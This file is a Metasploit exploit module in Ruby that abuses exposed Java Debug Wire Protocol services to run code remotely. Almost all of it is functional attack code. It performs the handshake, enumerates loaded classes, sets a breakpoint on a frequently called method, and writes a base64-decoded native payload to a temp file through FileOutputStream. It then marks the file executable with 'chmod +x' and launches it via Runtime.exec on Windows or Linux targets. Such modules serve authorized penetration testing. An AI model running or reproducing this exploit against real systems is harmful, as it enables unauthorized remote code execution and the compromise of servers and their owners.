Files
metasploit-gs/modules/exploits/multi/misc/java_jdwp_debugger.rb
T
2014-06-03 23:34:40 +02:00

978 lines
26 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
def initialize
super(
'Name' => 'Java Debugging Wire Protocol Scanner',
'Description' => %q{
This module abuses exposed Java Debugging Wire Protocol services in order
to execute code remotely.
},
'Author' => [
'Christophe Alladoum', # Exploit
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
['http://www.exploit-db.com/papers/27179/'],
['https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'DisclosureDate' => 'May 29 2014',
'License' => MSF_LICENSE,
'Platform' => %w{ linux win },
'Privileged' => true,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 1
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('STATUS_EVERY', [true, 'How many iterations until status', 1000]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Ensure there is a trailing slash', nil])
], self.class)
register_advanced_options(
[
OptString.new('BREAK_CLASS', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]),
OptInt.new('BREAK_AUTOHIT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection', nil ]),
OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]),
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10])
], self.class)
end
def check
connect
vprint_status("#{peer} - Checking for Java Debugging Wire Protocol")
res = handshake
disconnect
unless res
vprint_error("Unable to determine due to a connection timeout")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Appears if res == HANDSHAKE
return Exploit::CheckCode::Safe
end
def peer
return "#{rhost}:#{rport}"
end
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get(datastore['RESPONSE_TIMEOUT'])
end
# Forges packet for JDWP protocol
def create_packet(cmdsig, data="")
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
buf = [pktlen, @my_id, flags, cmdset, cmd]
pkt = buf.pack("NNCCC")
pkt << data
@my_id += 2
return pkt
end
# Reads packet response for JDWP protocol
def read_reply(timeout)
response = sock.get(timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen,id,flags,errcode = response.unpack('NNCn')
response.slice!(0..10)
fail_with(Failure::Unknown, "Server sent error with code #{errcode}") if (errcode != 0) && (flags == REPLY_PACKET_TYPE)
return response
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
return "" unless response
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
# Packs normal string into string structure for target VM
def build_string(data)
ret = [data.length].pack('N')
ret << data
return ret
end
# Pack Fixnum for JDWP protocol
def format(fmt, value)
if fmt == "L" || fmt == 8
return [value].pack('Q>')
elsif fmt == "I" || fmt == 4
return [value].pack('N')
end
fail_with(Failure::Unknown, "Unknown format")
end
# Unpack Fixnum from JDWP protocol
def unformat(fmt, value)
if fmt == "L" || fmt == 8
return value[0..7].unpack('Q>')[0]
elsif fmt == "I" || fmt == 4
return value[0..3].unpack('N')[0]
end
fail_with(Failure::Unknown, "Unknown format")
end
# Parses given data according to a set of formats
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
nb_entries.times do |var|
print_status("#{peer} - #{Time.now.getutc} - Parsed #{var} classes of #{nb_entries}") if var != 0 && var % datastore['STATUS_EVERY'] == 0
data = {}
formats.each do |fmt,name|
if fmt == "L" or fmt == 8
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
elsif fmt == "I" or fmt == 4
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
end
entries.append(data)
end
return entries
end
# Gets the sizes of variably-sized data types in the target VM
def idsizes
sock.put(create_packet(IDSIZES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
# Gets the JDWP version implemented by the target VM
def get_version
sock.put(create_packet(VERSION_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
]
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
def version
return "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
print_status("#{peer} - Parsing list of classes...")
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
return entry if entry["signature"].downcase == name.downcase
end
end
nil
end
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
unless @methods.has_key?(reftype_id)
refid = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, refid))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
@methods[reftype_id] = parse_entries(response, formats)
end
return @methods[reftype_id]
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
return entry if (entry["name"].downcase == name.downcase) && (entry["signature"].downcase == signature.downcase)
end
end
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method
return target_class, target_method
end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str2fqclass(s)
i = s.rindex(".")
fail_with(Failure::BadConfig, 'Bad defined break class') unless i
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
# Resumes execution of the application after the suspend command or an event has stopped it
def resume_vm
sock.put(create_packet(RESUMEVM_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
fail_with(Exploit::Failure::Unknown, "No network response") unless response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
fail_with(Exploit::Failure::Unknown, "No network response") unless response
return response.unpack('N')[0]
end
# Waits user defined time for an event sent from the target VM (or force event if possible)
def wait_for_event
force_net_event unless datastore['BREAK_AUTOHIT_PORT'].nil? || (datastore['BREAK_AUTOHIT_PORT'] == 0)
buf = read_reply(datastore['BREAK_TIMEOUT'])
return buf
end
# Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
def force_net_event
vprint_status("#{peer} - Forcing network event over #{datastore['BREAK_AUTOHIT_PORT']}")
rex_socket = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => datastore['BREAK_AUTOHIT_PORT'],
)
rex_socket.put(rand_text_alphanumeric(4 + rand(4)))
rex_socket.shutdown
end
# Parses a received event and compares it with the expected
def parse_event_breakpoint(buf, event_id)
r_id = buf[6..9].unpack('N')[0]
return nil unless event_id == r_id
len = @vars["objectid_size"]
t_id = unformat(len,buf[10..10+len-1])
return r_id, t_id
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply(datastore['RESPONSE_TIMEOUT'])
end
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
when 'windows'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
else
fail_with(Failure::NoTarget, 'Unsupported target platform')
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
return file
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
decoder = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0)
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1])
return pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C')
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C')
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
rt = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0)
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil?
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
end
# Sets a breakpoint on frequently called method (user-defined)
def set_breakpoint
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAK_CLASS']}")
# 1. Gets reference of the method where breakpoint is going to be setted
classname, method = str2fqclass(datastore['BREAK_CLASS'])
break_class = get_class_by_name(classname)
fail_with(Failure::NotFound, "Could not access #{datastore['BREAK_CLASS']}, probably is not used by the application") unless break_class
get_methods(break_class["reftype_id"])
m = get_method_by_name(break_class["reftype_id"], method)
fail_with(Failure::BadConfig, "Method of Break Class not found") unless m
# 2. Sends event request for this method
loc = [TYPE_CLASS].pack('C')
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
loc << format(@vars["methodid_size"], m["method_id"])
loc << [0,0].pack('NN')
data = [[MODKIND_LOCATIONONLY, loc]]
r_id = send_event(EVENT_BREAKPOINT, data)
fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id
return r_id
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd) if target['Platform'] == 'linux'
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
@my_id = 0x01
@vars = {}
@classes = []
@methods = {}
@os = nil
fail_with(Failure::NotVulnerable, "#{peer} - Doesn't seem to be vulnerable") if check == Exploit::CheckCode::Safe
# To avoid connection refused due to previously opened connection during check
Rex::sleep(1)
connect
fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the handshake") unless handshake == HANDSHAKE
# 1. Get the sizes of variably-sized data types in the target VM
idsizes
# 2. Get the version of the target VM
get_version
# 3. Get all currently loaded classes by the target VM
get_all_classes
# 4. Sets a breakpoint on frequently called method (user-defined)
r_id = set_breakpoint
# 5. Resume VM and wait for event
resume_vm
secs = datastore['BREAK_TIMEOUT']
ret = ""
datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
buf = wait_for_event
ret = parse_event_breakpoint(buf, r_id)
break unless ret.nil?
end
r_id, t_id = ret
vprint_status("#{peer} - Received matching event from thread #{t_id}")
# 6. Clears event
clear_event(EVENT_BREAKPOINT, r_id)
# 7. Drop & execute payload
exec_payload(t_id)
resume_vm
disconnect
end
end